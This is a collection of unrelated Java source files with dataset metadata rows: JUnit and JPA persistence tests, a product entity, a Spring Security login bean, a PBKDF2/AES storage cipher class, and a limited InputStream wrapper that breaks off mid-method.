@FixMethodOrder(MethodSorters.NAME_ASCENDING)
public class ChannelServiceTest {
protected Logger logger = LoggerFactory.getLogger(ChannelServiceTest.class);
@Autowired
private IChannelService channelService;
private static ChannelVO channel = null;
/**
* 初始化测试数据
*/
public void initData() {
channel = new ChannelVO();
channel.setChannelName("测试");
channel.setReorder(5);
channel.setUri("#");
channel.setIsBlank((byte) 0);
channel.setDescription("测试");
}
@Test
public void test1Save() {
initData();
try {
channel = this.channelService.save(channel);
Assert.assertNotNull(channel);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
@Test
public void test2GetOne() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
try {
ChannelVO vo = this.channelService.findOne(channel.getId());
Assert.assertNotNull(vo);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
}
@Test
public void test3Update() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
channel.setDescription("测试修改属性");
try {
channel = this.channelService.update(channel);
Assert.assertNotNull(channel);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
}
@Test
public void test4GetList(){
List<ChannelVO> list = this.channelService.findAll();
Assert.assertNotNull(list);
}
@Test
public void test5Delete() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
try {
this.channelService.delete(channel.getId());
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
destoryTempData();
}
/**
* 销毁测试产生的临时数据
*/
public void destoryTempData() {
}
}
|
UTF-8
|
Java
| 3,159 |
java
|
ChannelServiceTest.java
|
Java
|
[
{
"context": "l.ChannelVO;\n\n/**\n * \n * @desc 栏目数据单元测试\n * @author JustFresh\n * @time 2018年11月24日 下午3:43:22\n * @site http",
"end": 682,
"score": 0.742037832736969,
"start": 678,
"tag": "NAME",
"value": "Just"
},
{
"context": "nnelVO;\n\n/**\n * \n * @desc 栏目数据单元测试\n * @author JustFresh\n * @time 2018年11月24日 下午3:43:22\n * @site http://ww",
"end": 687,
"score": 0.784159779548645,
"start": 682,
"tag": "USERNAME",
"value": "Fresh"
},
{
"context": "午3:43:22\n * @site http://www.xiudoua.com\n * @email justfresh@foxmail.com\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@Spri",
"end": 782,
"score": 0.9999264478683472,
"start": 761,
"tag": "EMAIL",
"value": "justfresh@foxmail.com"
}
] | null |
[] |
package com.xiudoua.micro.service;
import java.util.List;
import org.junit.Assert;
import org.junit.FixMethodOrder;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.MethodSorters;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.util.StringUtils;
import com.xiudoua.micro.InitApp;
import com.xiudoua.micro.exceptions.FormException;
import com.xiudoua.micro.model.ChannelVO;
/**
*
* @desc 栏目数据单元测试
* @author JustFresh
* @time 2018年11月24日 下午3:43:22
* @site http://www.xiudoua.com
* @email <EMAIL>
*/
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(classes=InitApp.class)
@FixMethodOrder(MethodSorters.NAME_ASCENDING)
public class ChannelServiceTest {
protected Logger logger = LoggerFactory.getLogger(ChannelServiceTest.class);
@Autowired
private IChannelService channelService;
private static ChannelVO channel = null;
/**
* 初始化测试数据
*/
public void initData() {
channel = new ChannelVO();
channel.setChannelName("测试");
channel.setReorder(5);
channel.setUri("#");
channel.setIsBlank((byte) 0);
channel.setDescription("测试");
}
@Test
public void test1Save() {
initData();
try {
channel = this.channelService.save(channel);
Assert.assertNotNull(channel);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
@Test
public void test2GetOne() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
try {
ChannelVO vo = this.channelService.findOne(channel.getId());
Assert.assertNotNull(vo);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
}
@Test
public void test3Update() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
channel.setDescription("测试修改属性");
try {
channel = this.channelService.update(channel);
Assert.assertNotNull(channel);
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
}
@Test
public void test4GetList(){
List<ChannelVO> list = this.channelService.findAll();
Assert.assertNotNull(list);
}
@Test
public void test5Delete() {
if(channel != null && !StringUtils.isEmpty(channel.getId())) {
try {
this.channelService.delete(channel.getId());
} catch (FormException e) {
logger.error(e.getErrorEnum().message());
}
}
destoryTempData();
}
/**
* 销毁测试产生的临时数据
*/
public void destoryTempData() {
}
}
| 3,145 | 0.618785 | 0.61066 | 114 | 26 | 20.482769 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.45614 | false | false |
8
|
70703332b5cb3f24a59eaeeb717ebcdc6c0be081
| 21,363,167,389,795 |
515ca243af6175b867e327625fe0c53e1e4339fe
|
/LT_Crud/src/crud/Produto.java
|
4756fceed813c80858563e2c17ac88d4d905413c
|
[] |
no_license
|
luisgustavogomes/NetBeans
|
https://github.com/luisgustavogomes/NetBeans
|
abc51c79821fee72b403834022af9af1c88b234b
|
dbf3b7a2088a41058d8e8ba05bd80cec02ed1752
|
refs/heads/master
| 2021-04-26T23:43:29.061000 | 2018-03-21T23:47:01 | 2018-03-21T23:47:01 | 103,721,469 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package crud;
import java.util.Date;
import java.util.Objects;
public class Produto implements Comparable<Produto>{
private int id;
private String nome;
private double preco;
private Date data;
public Produto(int id, String nome, double preco, Date data) {
this.id = id;
this.nome = nome;
this.preco = preco;
this.data = data;
}
public int getId() {
return id;
}
public String getNome() {
return nome;
}
public double getPreco() {
return preco;
}
public Date getData() {
return data;
}
@Override
public int hashCode() {
int hash = 3;
hash = 11 * hash + this.id;
hash = 11 * hash + Objects.hashCode(this.nome);
hash = 11 * hash + (int) (Double.doubleToLongBits(this.preco) ^ (Double.doubleToLongBits(this.preco) >>> 32));
hash = 11 * hash + Objects.hashCode(this.data);
return hash;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final Produto other = (Produto) obj;
if (this.id != other.id) {
return false;
}
if (Double.doubleToLongBits(this.preco) != Double.doubleToLongBits(other.preco)) {
return false;
}
if (!Objects.equals(this.nome, other.nome)) {
return false;
}
if (!Objects.equals(this.data, other.data)) {
return false;
}
return true;
}
@Override
public int compareTo(Produto t) {
return this.nome.compareTo(t.nome);
}
}
|
UTF-8
|
Java
| 1,790 |
java
|
Produto.java
|
Java
|
[] | null |
[] |
package crud;
import java.util.Date;
import java.util.Objects;
public class Produto implements Comparable<Produto>{
private int id;
private String nome;
private double preco;
private Date data;
public Produto(int id, String nome, double preco, Date data) {
this.id = id;
this.nome = nome;
this.preco = preco;
this.data = data;
}
public int getId() {
return id;
}
public String getNome() {
return nome;
}
public double getPreco() {
return preco;
}
public Date getData() {
return data;
}
@Override
public int hashCode() {
int hash = 3;
hash = 11 * hash + this.id;
hash = 11 * hash + Objects.hashCode(this.nome);
hash = 11 * hash + (int) (Double.doubleToLongBits(this.preco) ^ (Double.doubleToLongBits(this.preco) >>> 32));
hash = 11 * hash + Objects.hashCode(this.data);
return hash;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final Produto other = (Produto) obj;
if (this.id != other.id) {
return false;
}
if (Double.doubleToLongBits(this.preco) != Double.doubleToLongBits(other.preco)) {
return false;
}
if (!Objects.equals(this.nome, other.nome)) {
return false;
}
if (!Objects.equals(this.data, other.data)) {
return false;
}
return true;
}
@Override
public int compareTo(Produto t) {
return this.nome.compareTo(t.nome);
}
}
| 1,790 | 0.53352 | 0.527374 | 79 | 21.658228 | 20.708273 | 118 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.455696 | false | false |
8
|
80aed658caa1d42b7b62ed2c6cff0531f65a01e6
| 35,553,739,293,375 |
b899c1c0831455cc95fa75fd8ebdc18e50062947
|
/src/main/java/licodipo/bean/LoginBean.java
|
06691e594f7808c523c29d3a1090e677444d4a9d
|
[] |
no_license
|
dtoropineiro/jsf-springsecurity-hibernate
|
https://github.com/dtoropineiro/jsf-springsecurity-hibernate
|
7565ce48f9337d952d62b9af233d248f7c399568
|
e694cf599cb400fa67b34bca596f8f92994ba4dd
|
refs/heads/master
| 2022-12-21T18:13:15.675000 | 2019-07-29T03:15:51 | 2019-07-29T03:15:51 | 199,362,728 | 0 | 0 | null | false | 2022-12-16T00:52:45 | 2019-07-29T02:19:49 | 2019-07-29T03:17:29 | 2022-12-16T00:52:43 | 530 | 0 | 0 | 9 |
JavaScript
| false | false |
package licodipo.bean;
import java.util.Iterator;
import javax.faces.application.FacesMessage;
import javax.faces.context.FacesContext;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.context.SecurityContextHolder;
import licodipo.controller.UserController;
import licodipo.model.UserApp;
import licodipo.model.UserRole;
public class LoginBean {
private String userName = null;
private String password = null;
private UserController userController;
private AuthenticationManager authenticationManager = null;
public String login() throws Exception {
FacesMessage message = null;
try {
Authentication request = new UsernamePasswordAuthenticationToken(this.getUserName(), this.getPassword());
Authentication result = authenticationManager.authenticate(request);
SecurityContextHolder.getContext().setAuthentication(result);
} catch (AuthenticationException e) {
message = new FacesMessage(FacesMessage.SEVERITY_WARN, "Loggin Error", "Invalid credentials");
FacesContext.getCurrentInstance().addMessage(null, message);
return "incorrect";
}
message = new FacesMessage(FacesMessage.SEVERITY_INFO, "Welcome", this.getUserName());
FacesContext.getCurrentInstance().addMessage(null, message);
// UserApp user = userController.findByUserName(this.getUserName());
// Iterator<UserRole> it = user.getUserRole().iterator();
// UserRole userRole = new UserRole();
// if (it.hasNext()) {
// userRole = it.next();
// }
// System.out.print("ASDASFASDASDSAFSAFSAFAS" + userRole.getRole());
return "correct";
}
public String cancel() {
return null;
}
public String signUp() {
return "success";
}
public String logout(){
SecurityContextHolder.clearContext();
return "loggedout";
}
public AuthenticationManager getAuthenticationManager() {
return authenticationManager;
}
public void setAuthenticationManager(AuthenticationManager authenticationManager) {
this.authenticationManager = authenticationManager;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
|
UTF-8
|
Java
| 2,827 |
java
|
LoginBean.java
|
Java
|
[
{
"context": "ng userName = null; \n private String password = null;\n private UserController userController;\n\n ",
"end": 699,
"score": 0.9777703285217285,
"start": 695,
"tag": "PASSWORD",
"value": "null"
},
{
"context": "\t public String getUserName() {\n\t return userName;\n\t }\n\n\t public void setUserName(String user",
"end": 2562,
"score": 0.9910659790039062,
"start": 2554,
"tag": "USERNAME",
"value": "userName"
},
{
"context": "rName;\n\t }\n\n\t public void setUserName(String userName) {\n\t this.userName = userName;\n\t }\n\n\t ",
"end": 2616,
"score": 0.854398787021637,
"start": 2608,
"tag": "USERNAME",
"value": "userName"
},
{
"context": "erName(String userName) {\n\t this.userName = userName;\n\t }\n\n\t public String getPassword() {\n\t ",
"end": 2653,
"score": 0.9897274374961853,
"start": 2645,
"tag": "USERNAME",
"value": "userName"
}
] | null |
[] |
package licodipo.bean;
import java.util.Iterator;
import javax.faces.application.FacesMessage;
import javax.faces.context.FacesContext;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.context.SecurityContextHolder;
import licodipo.controller.UserController;
import licodipo.model.UserApp;
import licodipo.model.UserRole;
public class LoginBean {
private String userName = null;
private String password = <PASSWORD>;
private UserController userController;
private AuthenticationManager authenticationManager = null;
public String login() throws Exception {
FacesMessage message = null;
try {
Authentication request = new UsernamePasswordAuthenticationToken(this.getUserName(), this.getPassword());
Authentication result = authenticationManager.authenticate(request);
SecurityContextHolder.getContext().setAuthentication(result);
} catch (AuthenticationException e) {
message = new FacesMessage(FacesMessage.SEVERITY_WARN, "Loggin Error", "Invalid credentials");
FacesContext.getCurrentInstance().addMessage(null, message);
return "incorrect";
}
message = new FacesMessage(FacesMessage.SEVERITY_INFO, "Welcome", this.getUserName());
FacesContext.getCurrentInstance().addMessage(null, message);
// UserApp user = userController.findByUserName(this.getUserName());
// Iterator<UserRole> it = user.getUserRole().iterator();
// UserRole userRole = new UserRole();
// if (it.hasNext()) {
// userRole = it.next();
// }
// System.out.print("ASDASFASDASDSAFSAFSAFAS" + userRole.getRole());
return "correct";
}
public String cancel() {
return null;
}
public String signUp() {
return "success";
}
public String logout(){
SecurityContextHolder.clearContext();
return "loggedout";
}
public AuthenticationManager getAuthenticationManager() {
return authenticationManager;
}
public void setAuthenticationManager(AuthenticationManager authenticationManager) {
this.authenticationManager = authenticationManager;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
| 2,833 | 0.6919 | 0.6919 | 87 | 31.494253 | 28.648031 | 117 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.942529 | false | false |
8
|
e6d249b933b4c4c2d77d39661445b29117690394
| 34,806,414,982,476 |
394773a7bd64e27bb863a71b6a001bbd75701fba
|
/src/main/java/net/java/web3/striple/storage/Pbkdf2EAS256.java
|
a9278e0003e670443e71518b6614ae981cd8b732
|
[
"Apache-2.0"
] |
permissive
|
cheme/java-striple
|
https://github.com/cheme/java-striple
|
2b85115c7998ea837bcec9dc9553be82466d56cb
|
6846e43a5910981ab5ac546ce11376c06988584b
|
refs/heads/master
| 2021-01-10T13:35:37.942000 | 2015-06-15T11:21:40 | 2015-06-15T11:21:40 | 36,605,111 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package net.java.web3.striple.storage;
import net.java.web3.striple.StripleException;
import net.java.web3.striple.StripleException.StripleExceptionType;
import net.java.web3.striple.StripleMethods;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.SeekableByteChannel;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.SecureRandom;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.KeySpec;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
public class Pbkdf2EAS256 implements StorageCypher {
final static int ITERLENGTH = 2;
final static int KEYLENGTHLENGTH = 2;
final static int EAS256KEYLENGTH = 256;
final static int EAS256BYTEKEYLENGTH = EAS256KEYLENGTH / 8;
String pass;
int iter;
//useless for now
int keylength;
byte[] salt;
Cipher cipher;
Key key;
public int getIdVal() {
return 1;
}
/**
* null for salt to initialize new salt
* @param pass
* @param iter
* @param salt
* @throws NoSuchAlgorithmException
* @throws InvalidKeySpecException
* @throws NoSuchPaddingException
*/
public Pbkdf2EAS256(String pass, int iter, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException {
super();
this.pass = pass;
this.iter = iter;
this.keylength = EAS256BYTEKEYLENGTH;
if (salt == null) {
SecureRandom.getSeed(EAS256BYTEKEYLENGTH);
}
this.salt = salt;
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
KeySpec keyspec = new PBEKeySpec(pass.toCharArray(), salt, iter, EAS256KEYLENGTH);
this.key = factory.generateSecret(keyspec);
this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
}
public byte[] getCypherHeader() throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
buf.write(StripleMethods.xtendsize(this.getIdVal(),HEADER_ID_VAL_LENGTH));
buf.write(StripleMethods.xtendsize(this.iter,ITERLENGTH));
buf.write(StripleMethods.xtendsize(this.keylength,KEYLENGTHLENGTH));
buf.write(this.salt);
return buf.toByteArray();
}
// struct class to use as a tuple see method readCypherHeader
public static class ReadCypherHeader {
public int iter;
public int keylength;
public byte[] salt;
}
public static ReadCypherHeader readCypherHeader(SeekableByteChannel is) throws IOException, StripleException {
// buff for xtendsize over two bytes (limit of java int so using constant size buff)
ByteBuffer buff = ByteBuffer.allocate(16);
if (-1 == is.read(buff))
throw new StripleException(StripleExceptionType.EmptyChannel, "end of channel");
int[] r = StripleMethods.xtendsizedec(buff.array(), 0, ITERLENGTH);
int iter = r[0];
is.position(is.position() - 16 + r[1]);
r = StripleMethods.xtendsizedec(buff.array(), 0, KEYLENGTHLENGTH);
int keylength = r[0];
is.position(is.position() - 16 + r[1]);
ByteBuffer salt = ByteBuffer.allocate(keylength);
if (-1 == is.read(salt))
throw new StripleException(StripleExceptionType.EmptyChannel, "end of channel");
ReadCypherHeader result = new ReadCypherHeader();
result.iter = iter;
result.keylength = keylength;
result.salt = salt.array();
return result;
}
public byte[] encrypt(byte[] dec) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException {
byte[] iv = SecureRandom.getSeed(this.cipher.getBlockSize());
IvParameterSpec ivspec = new IvParameterSpec(iv);
this.cipher.init(Cipher.ENCRYPT_MODE, this.key, ivspec);
byte[] iv2 = this.cipher.getIV();
System.out.println("iv gen : " + iv);
System.out.println("iv gen2 : " + iv2);
byte[] enc = this.cipher.doFinal(dec);
byte[] iv3 = this.cipher.getIV();
System.out.println("iv gen3 : " + iv3);
ByteBuffer buff = ByteBuffer.allocate(iv.length + enc.length);
buff.put(iv);
buff.put(enc);
return buff.array();
}
public byte[] decrypt(byte[] ivenc) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException {
byte[] iv = Arrays.copyOfRange(ivenc, 0, this.cipher.getBlockSize());
byte[] enc = Arrays.copyOfRange(ivenc, this.cipher.getBlockSize(), ivenc.length);
cipher.init(Cipher.DECRYPT_MODE, this.key, new IvParameterSpec(iv));
return cipher.doFinal(enc);
}
}
|
UTF-8
|
Java
| 4,838 |
java
|
Pbkdf2EAS256.java
|
Java
|
[
{
"context": "eyFactory factory = SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\");\n\t\tKeySpec keyspec = new PBEKeySpec(pass.toChar",
"end": 1929,
"score": 0.9900710582733154,
"start": 1911,
"tag": "KEY",
"value": "PBKDF2WithHmacSHA1"
}
] | null |
[] |
package net.java.web3.striple.storage;
import net.java.web3.striple.StripleException;
import net.java.web3.striple.StripleException.StripleExceptionType;
import net.java.web3.striple.StripleMethods;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.SeekableByteChannel;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.SecureRandom;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.KeySpec;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
public class Pbkdf2EAS256 implements StorageCypher {
final static int ITERLENGTH = 2;
final static int KEYLENGTHLENGTH = 2;
final static int EAS256KEYLENGTH = 256;
final static int EAS256BYTEKEYLENGTH = EAS256KEYLENGTH / 8;
String pass;
int iter;
//useless for now
int keylength;
byte[] salt;
Cipher cipher;
Key key;
public int getIdVal() {
return 1;
}
/**
* null for salt to initialize new salt
* @param pass
* @param iter
* @param salt
* @throws NoSuchAlgorithmException
* @throws InvalidKeySpecException
* @throws NoSuchPaddingException
*/
public Pbkdf2EAS256(String pass, int iter, byte[] salt) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException {
super();
this.pass = pass;
this.iter = iter;
this.keylength = EAS256BYTEKEYLENGTH;
if (salt == null) {
SecureRandom.getSeed(EAS256BYTEKEYLENGTH);
}
this.salt = salt;
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
KeySpec keyspec = new PBEKeySpec(pass.toCharArray(), salt, iter, EAS256KEYLENGTH);
this.key = factory.generateSecret(keyspec);
this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
}
public byte[] getCypherHeader() throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
buf.write(StripleMethods.xtendsize(this.getIdVal(),HEADER_ID_VAL_LENGTH));
buf.write(StripleMethods.xtendsize(this.iter,ITERLENGTH));
buf.write(StripleMethods.xtendsize(this.keylength,KEYLENGTHLENGTH));
buf.write(this.salt);
return buf.toByteArray();
}
// struct class to use as a tuple see method readCypherHeader
public static class ReadCypherHeader {
public int iter;
public int keylength;
public byte[] salt;
}
public static ReadCypherHeader readCypherHeader(SeekableByteChannel is) throws IOException, StripleException {
// buff for xtendsize over two bytes (limit of java int so using constant size buff)
ByteBuffer buff = ByteBuffer.allocate(16);
if (-1 == is.read(buff))
throw new StripleException(StripleExceptionType.EmptyChannel, "end of channel");
int[] r = StripleMethods.xtendsizedec(buff.array(), 0, ITERLENGTH);
int iter = r[0];
is.position(is.position() - 16 + r[1]);
r = StripleMethods.xtendsizedec(buff.array(), 0, KEYLENGTHLENGTH);
int keylength = r[0];
is.position(is.position() - 16 + r[1]);
ByteBuffer salt = ByteBuffer.allocate(keylength);
if (-1 == is.read(salt))
throw new StripleException(StripleExceptionType.EmptyChannel, "end of channel");
ReadCypherHeader result = new ReadCypherHeader();
result.iter = iter;
result.keylength = keylength;
result.salt = salt.array();
return result;
}
public byte[] encrypt(byte[] dec) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException {
byte[] iv = SecureRandom.getSeed(this.cipher.getBlockSize());
IvParameterSpec ivspec = new IvParameterSpec(iv);
this.cipher.init(Cipher.ENCRYPT_MODE, this.key, ivspec);
byte[] iv2 = this.cipher.getIV();
System.out.println("iv gen : " + iv);
System.out.println("iv gen2 : " + iv2);
byte[] enc = this.cipher.doFinal(dec);
byte[] iv3 = this.cipher.getIV();
System.out.println("iv gen3 : " + iv3);
ByteBuffer buff = ByteBuffer.allocate(iv.length + enc.length);
buff.put(iv);
buff.put(enc);
return buff.array();
}
public byte[] decrypt(byte[] ivenc) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException {
byte[] iv = Arrays.copyOfRange(ivenc, 0, this.cipher.getBlockSize());
byte[] enc = Arrays.copyOfRange(ivenc, this.cipher.getBlockSize(), ivenc.length);
cipher.init(Cipher.DECRYPT_MODE, this.key, new IvParameterSpec(iv));
return cipher.doFinal(enc);
}
}
| 4,838 | 0.740595 | 0.727987 | 132 | 35.651516 | 29.411909 | 150 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.787879 | false | false |
8
|
5c65f0ea82c8b75a0849572d040faf3fe6420cff
| 6,425,271,112,726 |
4ec4a0867cebf2b889df53ed5dac59a0bcc67a3f
|
/test/br/edu/ifsul/testes/TestePersistirJogo.java
|
2d87e2f093931207a6f2c3dc7559556d79b4b63f
|
[] |
no_license
|
Bringha/TrabalhoFinalTA
|
https://github.com/Bringha/TrabalhoFinalTA
|
daaf25be4a0917e174ee49d0ec1cb09d24f96477
|
6281ef42671ad2c6e691c187e479ca32ae6b29b6
|
refs/heads/master
| 2016-09-01T05:08:13.762000 | 2015-06-29T02:42:07 | 2015-06-29T02:42:07 | 36,839,004 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package br.edu.ifsul.testes;
import br.edu.ifsul.modelo.Campeonato;
import br.edu.ifsul.modelo.Jogo;
import br.edu.ifsul.modelo.Usuario;
import java.util.Calendar;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
/**
*
* @author bringha
*/
public class TestePersistirJogo {
EntityManagerFactory emf;
EntityManager em;
public TestePersistirJogo() {
}
@Before
public void setUp() {
emf = Persistence.createEntityManagerFactory("TrabalhoFinalTAPULocal");
em = emf.createEntityManager();
}
@After
public void tearDown() {
em.close();
emf.close();
}
@Test
public void test(){
boolean exception = false;
try{
Jogo obj = new Jogo();
obj.setEstadio("Arena do Gremio");
obj.setDataHora(Calendar.getInstance());
obj.setArbitro("Gacimba");
obj.setAuxiliarUm("Pedro");
obj.setAuxiliarDois("João");
obj.setCampeonato(em.find(Campeonato.class, 1));
em.getTransaction().begin();
em.persist(obj);
em.getTransaction().commit();
}catch(Exception e){
exception = true;
e.printStackTrace();
}
Assert.assertEquals(false, exception);
}
}
|
UTF-8
|
Java
| 1,712 |
java
|
TestePersistirJogo.java
|
Java
|
[
{
"context": "port static org.junit.Assert.*;\n\n/**\n *\n * @author bringha\n */\npublic class TestePersistirJogo {\n \n En",
"end": 632,
"score": 0.9836668372154236,
"start": 625,
"tag": "USERNAME",
"value": "bringha"
},
{
"context": "rbitro(\"Gacimba\");\n obj.setAuxiliarUm(\"Pedro\");\n obj.setAuxiliarDois(\"João\");\n ",
"end": 1331,
"score": 0.9997467994689941,
"start": 1326,
"tag": "NAME",
"value": "Pedro"
},
{
"context": "liarUm(\"Pedro\");\n obj.setAuxiliarDois(\"João\");\n obj.setCampeonato(em.find(Campeona",
"end": 1372,
"score": 0.9997914433479309,
"start": 1368,
"tag": "NAME",
"value": "João"
}
] | null |
[] |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package br.edu.ifsul.testes;
import br.edu.ifsul.modelo.Campeonato;
import br.edu.ifsul.modelo.Jogo;
import br.edu.ifsul.modelo.Usuario;
import java.util.Calendar;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
/**
*
* @author bringha
*/
public class TestePersistirJogo {
EntityManagerFactory emf;
EntityManager em;
public TestePersistirJogo() {
}
@Before
public void setUp() {
emf = Persistence.createEntityManagerFactory("TrabalhoFinalTAPULocal");
em = emf.createEntityManager();
}
@After
public void tearDown() {
em.close();
emf.close();
}
@Test
public void test(){
boolean exception = false;
try{
Jogo obj = new Jogo();
obj.setEstadio("Arena do Gremio");
obj.setDataHora(Calendar.getInstance());
obj.setArbitro("Gacimba");
obj.setAuxiliarUm("Pedro");
obj.setAuxiliarDois("João");
obj.setCampeonato(em.find(Campeonato.class, 1));
em.getTransaction().begin();
em.persist(obj);
em.getTransaction().commit();
}catch(Exception e){
exception = true;
e.printStackTrace();
}
Assert.assertEquals(false, exception);
}
}
| 1,712 | 0.630041 | 0.629456 | 66 | 24.924242 | 18.486122 | 79 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.575758 | false | false |
8
|
5a12ec0e59d20ce95aa7b3e7d7c5624c2fe2c116
| 24,464,133,747,805 |
fc860f7de00e5a0ccda03ef421a84deb416dd52f
|
/src/main/java/biz/paluch/maven/configurator/LimitedNonClosingInputStream.java
|
e4055fe7ee5535e3da20b65f04d940601bb7ca1f
|
[
"MIT"
] |
permissive
|
mp911de/configurator-maven-plugin
|
https://github.com/mp911de/configurator-maven-plugin
|
772df5d20c27e03fecb8ded3325396a8dc6ed8ab
|
0c306a4b1ea2b6a40eb95bc3cdcfcea99c867cf3
|
refs/heads/main
| 2023-06-09T08:57:33.504000 | 2014-06-03T09:10:51 | 2014-06-03T09:10:51 | 9,295,924 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* The MIT License (MIT)
* Copyright (c) 2013 Mark Paluch
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package biz.paluch.maven.configurator;
import java.io.IOException;
import java.io.InputStream;
/**
* Limited and Non-Closing InputStream.
* @author <a href="mailto:mpaluch@paluch.biz">Mark Paluch</a>
* @since 08.04.13 12:43
*/
public class LimitedNonClosingInputStream extends InputStream {
private long position = 0;
private long limit = 0;
private InputStream parent;
public LimitedNonClosingInputStream(long limit, InputStream parent) {
this.limit = limit;
this.parent = parent;
}
@Override
public int available() throws IOException {
long result = limit - position;
return (int) result;
}
@Override
public int read() throws IOException {
